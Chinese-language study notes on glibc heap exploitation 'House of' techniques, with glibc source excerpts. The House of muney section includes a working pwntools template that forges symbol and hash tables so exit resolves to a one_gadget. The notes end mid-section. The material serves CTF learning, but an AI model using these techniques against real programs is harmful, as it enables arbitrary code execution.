house of手法

前言

house of的手法只需理解其中的技巧,了解如何从小小的漏洞获得rce

house of einherjar

漏洞成因

溢出写、off by oneoff by null

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbinchunk

利用原理

利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A,进入 unsortedbin
  • B 写操作的时候存在 off by null,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

相关技巧

虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

最开始的 unlink 的代码是:

1
2
3
4
5
6
7
8
9
10
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
// ..... \
} \
}

只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。

高版本的 unlink 的条件是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p))) //new
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
// ......
}

新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

利用效果

  • 构造 chunk overlap 后,可以任意地址分配
  • 结合其他方法进行任意地址读写

House of muney

利用版本

  • 2.23—— 至今

这里分析函数延迟绑定机制中写入真实地址的过程

首先push n;push m;jmp _dl_runtime_resolve_xsavec;

n是函数在.rela.plt的位置

m是codebase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
=> 0x7ffff7fd8d30 <_dl_runtime_resolve_xsavec>: endbr64
0x7ffff7fd8d34 <_dl_runtime_resolve_xsavec+4>: push rbx
0x7ffff7fd8d35 <_dl_runtime_resolve_xsavec+5>: mov rbx,rsp
0x7ffff7fd8d38 <_dl_runtime_resolve_xsavec+8>: and rsp,0xffffffffffffffc0
0x7ffff7fd8d3c <_dl_runtime_resolve_xsavec+12>: sub rsp,QWORD PTR [rip+0x23f4d] # 0x7ffff7ffcc90 <_rtld_global_ro+432>
0x7ffff7fd8d43 <_dl_runtime_resolve_xsavec+19>: mov QWORD PTR [rsp],rax
0x7ffff7fd8d47 <_dl_runtime_resolve_xsavec+23>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7fd8d4c <_dl_runtime_resolve_xsavec+28>: mov QWORD PTR [rsp+0x10],rdx
0x7ffff7fd8d51 <_dl_runtime_resolve_xsavec+33>: mov QWORD PTR [rsp+0x18],rsi
0x7ffff7fd8d56 <_dl_runtime_resolve_xsavec+38>: mov QWORD PTR [rsp+0x20],rdi
0x7ffff7fd8d5b <_dl_runtime_resolve_xsavec+43>: mov QWORD PTR [rsp+0x28],r8
0x7ffff7fd8d60 <_dl_runtime_resolve_xsavec+48>: mov QWORD PTR [rsp+0x30],r9
0x7ffff7fd8d65 <_dl_runtime_resolve_xsavec+53>: mov eax,0xee
0x7ffff7fd8d6a <_dl_runtime_resolve_xsavec+58>: xor edx,edx
0x7ffff7fd8d6c <_dl_runtime_resolve_xsavec+60>: mov QWORD PTR [rsp+0x250],rdx
0x7ffff7fd8d74 <_dl_runtime_resolve_xsavec+68>: mov QWORD PTR [rsp+0x258],rdx
0x7ffff7fd8d7c <_dl_runtime_resolve_xsavec+76>: mov QWORD PTR [rsp+0x260],rdx
0x7ffff7fd8d84 <_dl_runtime_resolve_xsavec+84>: mov QWORD PTR [rsp+0x268],rdx
0x7ffff7fd8d8c <_dl_runtime_resolve_xsavec+92>: mov QWORD PTR [rsp+0x270],rdx
0x7ffff7fd8d94 <_dl_runtime_resolve_xsavec+100>: mov QWORD PTR [rsp+0x278],rdx
0x7ffff7fd8d9c <_dl_runtime_resolve_xsavec+108>: xsavec [rsp+0x40]
0x7ffff7fd8da1 <_dl_runtime_resolve_xsavec+113>: mov rsi,QWORD PTR [rbx+0x10]
0x7ffff7fd8da5 <_dl_runtime_resolve_xsavec+117>: mov rdi,QWORD PTR [rbx+0x8]
0x7ffff7fd8da9 <_dl_runtime_resolve_xsavec+121>: call 0x7ffff7fd5e70 <_dl_fixup>
0x7ffff7fd8dae <_dl_runtime_resolve_xsavec+126>: mov r11,rax
0x7ffff7fd8db1 <_dl_runtime_resolve_xsavec+129>: mov eax,0xee
0x7ffff7fd8db6 <_dl_runtime_resolve_xsavec+134>: xor edx,edx
0x7ffff7fd8db8 <_dl_runtime_resolve_xsavec+136>: xrstor [rsp+0x40]
0x7ffff7fd8dbd <_dl_runtime_resolve_xsavec+141>: mov r9,QWORD PTR [rsp+0x30]
0x7ffff7fd8dc2 <_dl_runtime_resolve_xsavec+146>: mov r8,QWORD PTR [rsp+0x28]
0x7ffff7fd8dc7 <_dl_runtime_resolve_xsavec+151>: mov rdi,QWORD PTR [rsp+0x20]
0x7ffff7fd8dcc <_dl_runtime_resolve_xsavec+156>: mov rsi,QWORD PTR [rsp+0x18]
0x7ffff7fd8dd1 <_dl_runtime_resolve_xsavec+161>: mov rdx,QWORD PTR [rsp+0x10]
0x7ffff7fd8dd6 <_dl_runtime_resolve_xsavec+166>: mov rcx,QWORD PTR [rsp+0x8]
0x7ffff7fd8ddb <_dl_runtime_resolve_xsavec+171>: mov rax,QWORD PTR [rsp]
0x7ffff7fd8ddf <_dl_runtime_resolve_xsavec+175>: mov rsp,rbx
0x7ffff7fd8de2 <_dl_runtime_resolve_xsavec+178>: mov rbx,QWORD PTR [rsp]
0x7ffff7fd8de6 <_dl_runtime_resolve_xsavec+182>: add rsp,0x18
0x7ffff7fd8dea <_dl_runtime_resolve_xsavec+186>: jmp r11

保存工作状态,然后jmp r11,即jmp _dl_fixup

一下分析_dl_fixup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
// 这里的l是二进制程序本身的link_map,而不是so的
// 第一个参数是上面的m,即codebase,第二个参数是上述的n,即.rela.plt的偏移

// 首先根据link_map中记录的信息,找到动态链接相关的符号表和字符串表
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

// 找到对应的重定位元素、符号表、字符串
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
// rel_addr 即为got表的地址,在查找到符号真实地址之后会回填到这个地址中
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 第一个参数是字符串地址,根据符号表和字符串表得到的
// 第二个参数是link_map
// 第三个参数是符号表的地址,是一个栈地址,最后会修正得到的符号表
// 第四个参数是scope,表示查找的范围
// 第五个参数是版本信息
// 后面的参数都是固定的
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 修正got表条目
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

只了解了大概流程

利用过程

ptmalloc 堆分配器在分配超大内存 > 128K 的时候,会调用 mmap 申请系统内存,此时申请到的内存一般位于 libc.so.6 映射的内存地址的低地址处。house of muney 的核心在于修改 mmap 内存的 size 大小,使其能把 libc.so.6 的符号表、哈希表等数据所在的地址空间也释放掉。然后再把这一片空间给申请回来,就能伪造符号表、哈希表,那么在解析函数实际地址的时候就能控制其解析为任意地址,进而控制程序执行流。

  1. A = mmap(addr=NULL, length=0x1000,...)
  2. 修改 Asize,为 0x1000 + XXX
  3. free(A),实际执行的是:munmap(A, 0x1000 + XXX),就可以偷取 glibc 的内存
  4. mmap(addr=NULL, length=0x1000 + XXX, ... ),然后输入数据,就可以控制 “偷去” 的内存的内容
  5. 在进行符号解析的时候,进行任意函数调用

需要伪造的结构有:

  1. bitmask_word
  2. bucket
  3. hasharr,需要多伪造几个,并不是第一个就满足条件
  4. target symbol ->st_value,符号表中,除了st_value修改为目标地址外,其他成员建议保持不变

简单来说,就是伪造符号表,让初次调用funcA时的真实地址,解析成funcB达到任意代码执行的效果

给出模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
add(0, 0x40000 - 0x2000)   
dbg()
edit(0, -8, p64(0x41002 + 0x5000 + 0x4000)) #修改size,以让mmap可以申请到libc段上的空间(malloc过大的chunk会重新申请一个段来存储chunk,该段与libc接近)
free(0)
add(0, 0x41000 * 2 + 0x4000)

# Step 2: Prepare offsets and gadgets
base_off = 0x7dff0 #mmap段与libc_base的差值
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04][1]

gnu_hash_section = libc.get_section_by_name('.gnu.hash')
dynsym_section = libc.get_section_by_name('.dynsym')
dynstr_section = libc.get_section_by_name('.dynstr')

# Step 3: Calculate hash and offsets
namehash = gnu_hash_section.gnu_hash('exit')
bloom_off = gnu_hash_section['sh_addr'] + 4 * gnu_hash_section._wordsize
bucket_off = bloom_off + gnu_hash_section.params['bloom_size'] * gnu_hash_section._xwordsize

bloom_elem_idx = int(namehash / gnu_hash_section.elffile.elfclass) % gnu_hash_section.params['bloom_size']
bloom_elem_off = bloom_off + bloom_elem_idx * gnu_hash_section._xwordsize
bloom_elem_val = gnu_hash_section.params['bloom'][bloom_elem_idx]

bucket_elem_idx = namehash % gnu_hash_section.params['nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx * gnu_hash_section._wordsize
bucket_elem_val = gnu_hash_section.params['buckets'][bucket_elem_idx]

hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val - gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize
sym_off = dynsym_section['sh_offset'] + bucket_elem_val * dynsym_section['sh_entsize']

# Step 4: Prepare the new symbol entry for `exit`
sym_value = b''
sym_value += p32(libc.search(b'exit\x00').__next__() - dynstr_section['sh_offset']) # st_name
sym_value += p8(0x12) # st_info
sym_value += p8(0) # st_other
sym_value += p16(1) # st_shndx
sym_value += p64(one_gadget) # st_value #目标地址----------------------
sym_value += p64(8) # st_size

# Step 5: Edit the heap to overwrite the hash table and symbol table
edit(0, base_off + bloom_elem_off, p64(bloom_elem_val))
edit(0, base_off + bucket_elem_off, p32(bucket_elem_val))
edit(0, base_off + hasharr_off, p32(namehash))
edit(0, base_off + sym_off, sym_value)
dbg()
# Step 6: Trigger the exploit
io.sendlineafter(b"option:", b"5") #首次调用exit函数
io.interactive()

house of spirit

漏洞成因

堆溢出写

适用范围

  • 2.23—— 至今

利用原理

利用堆溢出,修改 chunk size,伪造出 fake chunk,然后通过堆的释放和排布,控制 fake chunkhouse of spirit 的操作思路有很多,比如可以按如下操作进行利用:

  • 申请 chunk A、chunk B、chunk C、chunk D
  • A 写操作的时候溢出,修改 Bsize 域,使其能包括 chunk C
  • 释放 B,然后把 B 申请回来,再释放 C,则可以通过读写 B 来控制 C 的内容

相关技巧

起初 house of spirit 主要是针对 fastbin,后来引入了 tcachebin 后,也可以使用 tcachebin 版本的 house of spirit。利用方法与 fastbin 场景下类似,注意好不同版本下的检查条件即可。

利用效果

  • 劫持 fastbin/tcachebinfd 之后,可以任意地址分配、任意地址读写

house of force

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.28
  • 可分配任意大小的 chunk
  • 需要泄露或已知地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

image-20250217172739313

利用效果

  • 任意地址分配
  • 任意地址读写

house of lore

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23—— 至今
  • 需要泄露或已知地址

利用原理

控制 smallbinbk 指针,示例如下:

  • 申请 chunk A、chunk B、chunk C,其中 chunk B 大小位于 smallbin
  • 释放 B,申请更大的 chunk D,使得 B 进入 smallbin
  • A,溢出修改 Bbk,指向地址 X,这里有 fake chunk
  • 布置 X->fd == &B
  • 分配两次后即可取出位于 X 地址处的 fake chunk

相关技巧

在引入了 tcache stash unlink 的时候,需要注意绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

要么使其满足 tc_victim = last (bin)) == bin、要么使其满足:tcache->counts[tc_idx] ≥ mp_.tcache_count。否则可能会因为非法内存访问使得程序 down 掉。(对应tcache为空或者满)

实际上,这个技巧用得不是很多,因为在同等条件下,更偏向于利用 fastbin/tcachebin

利用效果

  • 任意地址分配
  • 任意地址读写

house of orange

漏洞成因

堆溢出写

适用范围

  • 2.23——2.26
  • 没有 free
  • 可以 unsortedbin attack

利用原理

house of orange 可以说是开启了堆与 IO 组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk 的性质,利用过程如下:

stage1

  • 申请 chunk A,假设此时的 top_chunksize0xWXYZ
  • A,溢出修改 top_chunksize0xXYZ(需要满足页对齐的检测条件)
  • 申请一个大于 0xXYZ 大小的 chunk,此时 top_chunk 会进行 grow,并将原来的 old top_chunk 释放进入 unsortedbin

stage2

  • 溢出写 A,修改处于 unsortedbin 中的 old top_chunk,修改其 size0x61,其 bk&_IO_list_all-0x10,同时伪造好 IO_FILE 结构
  • 申请非 0x60 大小的 chunk 的时候,首先触发 unsortedbin attack,将_IO_list_all 修改为 main_arena+88,然后 unsortedbin chunk 会进入到 smallbin,大小为 0x60;接着遍历 unsortedbin 的时候触发了 malloc_printerr,然后调用链为: malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp,调用到伪造的 vtable 里面的函数指针(也可以exit调用之类的,感觉不一定局限于malloc_printerr

相关技巧

  • glibc-2.24 后加入了 vtablecheck,不能任意地址伪造 vatble 了,但是可以利用 IO_str_jumps 结构进行利用。
  • glibc-2.26 后,malloc_printerr 不再刷新 IO 流了,所以该方法失效
  • 由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败,多试几次就好

利用效果

  • 任意函数执行
  • 任意命令执行

house of rabbit

漏洞成因

堆溢出写、use after freeedit after free

适用范围

  • 2.23——2.26
  • 超过 0x400 大小的堆分配
  • 可以写 fastbinfd 或者 size

利用原理

该利用技巧的核心是 malloc_consolidate 函数,当检测到有 fastbin 的时候,会取出每一个 fastbin chunk,将其放置到 unsortedbin 中,并进行合并。以修改 fd 为例,利用过程如下:

  • 申请 chunk Achunk B,其中 chunk A 的大小位于 fastbin 范围
  • 释放 chunk A,使其进入到 fastbin
  • 利用 use after free,修改 A->fd 指向地址 X,需要伪造好 fake chunk,使其不执行 unlink 或者绕过 unlink
  • 分配足够大的 chunk,或者释放 0x10000 以上的 chunk,只要能触发 malloc_consolidate 即可
  • 此时 fake chunk 被放到了 unsortedbin,或者进入到对应的 smallbin/largebin
  • 取出 fake chunk 进行读写即可

相关技巧

  • 2.26 加入了 unlinkpresize 的检查
  • 2.27 加入了 fastbin 的检查

抓住重点:house of rabbit 是对 malloc_consolidate 的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。

利用效果

  • 任意地址分配
  • 任意地址读写

house of roman

漏洞成因

use after free、堆溢出

适用范围

  • 2.23——2.29
  • 可以 use after edit
  • 不需要泄露地址
  • 需要部分字节

利用原理

  • 申请chunkA,chunkB,chunkC,chunkD,chunkE,其中chunkB的大小为0xd0

  • 在chunkB中写入"A"*0x68+p64(0x61)

  • 释放掉B,B进入unsortedbin,然后chunkA溢出修改chunkB的size为0x71,此时chunkB的fd和bk都是main_arena+88

  • 然后将chunkD和chunkE都释放进fastbin中,size域为0x70的

  • 然后利用uaf部分地址写,将chunkB伪造的chunk链入fastbin中

    1
    0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
  • 然后修改chunkB的fd的低2字节,使B->fd= malloc_hook - 0x23

  • 然后分配3个chunk的size为0x70的就能获得这个fake chunk了

  • 然后在之前就要多分配一个0x70大小的chunk此时来通过uaf修复fastbin(注意堆风水)

  • 之后通过unsortedbin attack来修改malloc_hook为一个libcbase+0xXXXX

  • 之后部分写malloc_hook的低字节使其偏向onegadget,需要爆破

相关技巧

  • 使用 house of roman 的时候,需要采用多线程爆破
  • 可以使用其他方法代替,比如先攻击 stdout 泄露地址,使得爆破的成本降低

利用效果

  • 执行 one_gadget
  • 绕过 ASLR

house of storm

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23——2.28 因为2.29的unsortedbin attack失效
  • 可以进行 unsortedbin attack
  • 可以进行 largebin attack,修改 bkbk_nextsize
  • 可以分配 0x50 大小的 chunk

利用原理

house of storm 也是一款组合技,利用开启了 PIEx64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次 libc 地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:

  • 进行一次 unsortedbin attack,其 bk 修改为 addr
  • 进行一次 largebin attack,其 bk 修改为 addr+0x10bk_nextsize 修改为 addr-0x20+3
  • 申请 0x50 大小的 chunk 即可申请到 addr

相关技巧

需要注意的有:

  • 该方法成功的几率是 50%,因为 0x55 会触发 assert 断言,0x56 才能成功
  • 申请 addr 处的 chunk 的时候需要从 unsortedbin 里面取

利用效果

  • 任意地址分配

house of corrosion

漏洞成因

堆溢出、use after free

适用范围

  • 2.23—— 至今
  • 任意大小分配
  • 可以修改 global_max_fast
  • 不需要泄露地址

利用原理

一个非常 tricky 的方法,可以绕过 aslr,不需要泄露地址都能达成 rce,可以很很多方法结合起来应用。先说利用原理:

  • 使用 unsortedbin attack/largebin attack 等方法,成功修改 global_max_fast 的值为很大的值。如果使用 unsortedbin attack,不需要泄露地址,爆破 1/16 即可
  • 申请任意大小的 chunk,这些 chunk 都会被视为 fastbin chunk,然后利用这些 chunk 来进行读和写

此时的计算公式为:

1
chunk size = (chunk addr - &main_arena.fastbinsY) x 2 + 0x20

原语1:(任意地址任意写)

  • 假如我们要修改的地址为0x2000上的数据,此时我们的main_arena.fatbinsY的地址是0x1000

  • 计算size=(0x2000-0x1000)*2+0x20=0x2020,所以就要先事先chunkA=malloc(0x2018)

  • 之后通过unsortedbin attack或者largebin attack,改写global_max_fast

  • 此时free掉事先分配好的chunkA,目标地址会指向Aimage-20250218153144362

  • 通过UAF修改A的fd为value,*A=valueimage-20250218153228419

  • 之后再分配回来,value也就成功写入对应的target_addr

    image-20250218153328675

原语2:(转移已经存在的值)

  • 首先假设目标地址为0x2000,0x3000上存有一个libc地址,fastbinY的地址为0x1000,计算size1=(0x2000-0x1000)*2+0x20=0x2020size2=(0x3000-0x1000)*2+0x20=0x4020
  • 此时分配两个size都为size1的chunkA和chunkB,并且通过unsortedbin attack或者largebin attack改写global_max_fast
  • 之后释放掉chunkA和chunkBimage-20250218154308999
  • 通过UAF,部分写chunkA的fd使其指向本身,达到double free类似的效果image-20250218154357013
  • 再把A给分配回来,同时篡改chunkA的size为size2,释放掉Aimage-20250218154440828
  • 再次篡改A的size,恢复为size1,然后malloc(size1),就成功完成src->dst数据的转移

相关技巧

  • 虽然至今都能使用 house of corrosion,但是在 glibc-2.37 版本中,global_max_fast 的数据类型被修改为了 int8_u,进而导致可控的空间范围大幅度缩小。
  • house of corrosion 也可以拓展到 tcachebin
  • 适当控制 global_max_fast 的大小,把握控制的空间范围
  • 可以和 IO_FILE 结合起来泄露信息

利用效果

  • glibc 上的地址泄露
  • 执行 one_gadget

house of husk

漏洞成因

堆溢出

适用范围

  • 2.23–2.35
  • 劫持 __printf_function_table 使其不为空,劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是 backdoor(),执行到 printf 函数时就可以将执行流劫持到 backdoor()
  • 可触发格式化字符串解析

简单来说printf对自定义的格式化字符串的处理优先于默认的格式化字符串处理,我们通过篡改__printf_function_table来使程序认为存在注册过的自定义格式化字符串,从而触发__printf_arginfo_table上的函数指针

利用原理

调用处 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

// vfprintf-internal.c#1763
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);

// printf-parsemb.c (__parse_one_specmb函数)
/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1) // 判断是否为空
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL // 判断是否为空
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) // 调用__printf_arginfo_table中的函数指针
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
// ......
}

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

调用处 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// vfprintf-internal.c#1962
if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
// ......

/* Call the function. */
function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr); // 调用__printf_function_table中的函数指针

if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
break;
}
}

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk A 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

该处调用在高版本被删除。

相关技巧

  • 该技巧一般和 largebin attack 结合起来
  • 在低于 2.36 版本中,__malloc_assert 中有格式化字符串的解析
  • 还有一个__printf_va_arg_table 也是可以利用的,但是条件比较苛刻

利用效果

  • 执行 one_gadget
  • 执行 rop 控制程序执行流

house of kauri

漏洞成因

堆溢出

适用范围

  • 2.26——2.32

利用原理

利用原理很简单,修改 tcachebinsize,然后使其被放到不同大小的 tcachebin 链表里面去。我感觉这个技巧是很基础的 tcachebin 技巧,甚至不应该被称之为 house of

相关技巧

利用效果

  • 多个 tcachebin 链表中存放同一个 chunk

house of mind

漏洞成因

堆溢出,edit after free

适用范围

  • 2.23—— 至今
  • 可以分配任意大小的 chunk
  • 程序在子线程执行malloc

利用原理

  • 通过多线程或者特定的分配方式,创建一块非主arena的chunkA

  • 然后通过chunkA的地址用

    1
    2
    #define heap_for_ptr(ptr) \
    ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))

    该方式计算出heap_for_ptr的地址

  • heap_info_addr处伪造mstate ar_ptr指针指向攻击者控制的伪造arena区域

  • 之后修改chunkA的non_main_arena标志位为1

  • 之后释放chunkA,此时arena_for_chunk(A)会通过伪造的heap_info_addr->ar_ptr找到伪造的arena区域

  • 而伪造的arena区域 可以 控制 fastbin 链表头,实现任意地址分配,以此实现任意地址写

相关技巧

  • 一般来说,可以分配任意大小的 chunk,还能堆溢出,很多技巧都能用
  • 这个技巧是希望大家关注对于 arena 的攻击
  • 甚至可以直接修改 thread_arena 这个变量

利用效果

  • 任意地址写任意值

house of botcake

漏洞成因

double free

适用范围

  • 2.26—— 至今
  • 多次释放 chunk 的能力

利用原理

该技巧可以用于绕过 tcache->key 的检查,利用过程如下:

  • 申请7个大于size大于0x80的chunk,然后再申请3个,分别为chunkA,chunkB,chunkC(chunkC只是用来隔断top chunk
  • 释放前7个chunk进入tcache,之后释放chunkB进入unsortedbin,然后释放chunkA与chunkB合并
  • 之后从tcache中分配一个chunk
  • 然后再次释放chunkB,使得chunkB进入tcache,此时chunkB就既位于unsortedbin也位于tcache中
  • 之后再次申请一个chunk,就得到了chunkB,但是此时的chunkB还位于unsortedbin

相关技巧

  • 在高版本需要绕过指针保护的检查

利用效果

  • 构造出堆重叠,为后续利用做准备

house of rust

漏洞成因

堆溢出

适用范围

  • 2.26——至今
  • 可以进行tcache stash unlinking攻击
  • 可以进行largebin attack
  • 不需要泄露地址

利用原理

前置知识

首先需要知道tcachebin stash unlinking,下面称之为TSU技巧:

  • tcachebin[A]为空
  • smallbin[A]8
  • 修改第8smallbin chunkbkaddr
  • 分配malloc(A)的时候,addr+0x10会被写一个libc地址

还要知道tcachebin stash unlinking+,下面称之为TSU+技巧:

  • tcachebin[A]为空
  • smallbin[A]8
  • 修改第7smallbin chunkbkaddr,还要保证*(addr+0x18)是一个合法可写的地址
  • 分配malloc(A)的时候,addr会被链入到tcachebin,也就是可以分配到addr

第一阶段:堆风水布局(Heap Feng Shui)

  • 首先先分配14个0x90的chunk(编号1-14),然后再接替释放到tcache和smallbin中(1\3\5\7\9\11\13释放到tcahce….)
  • 之后通过分配大chunk将unsortedbin中的都放入smallbin

第二阶段:Tcache Stashing Unlink+ 结合 Largebin 攻击

  • 然后通过WAF修改chunk14的size片段为0xB0,之后再次释放chunk14到tcahce[0xB0]中,此时他的bk就是tcahce_key,也就是&tcahce_perthread_struct+0x10,但是同时也造成了smallbin链的破坏
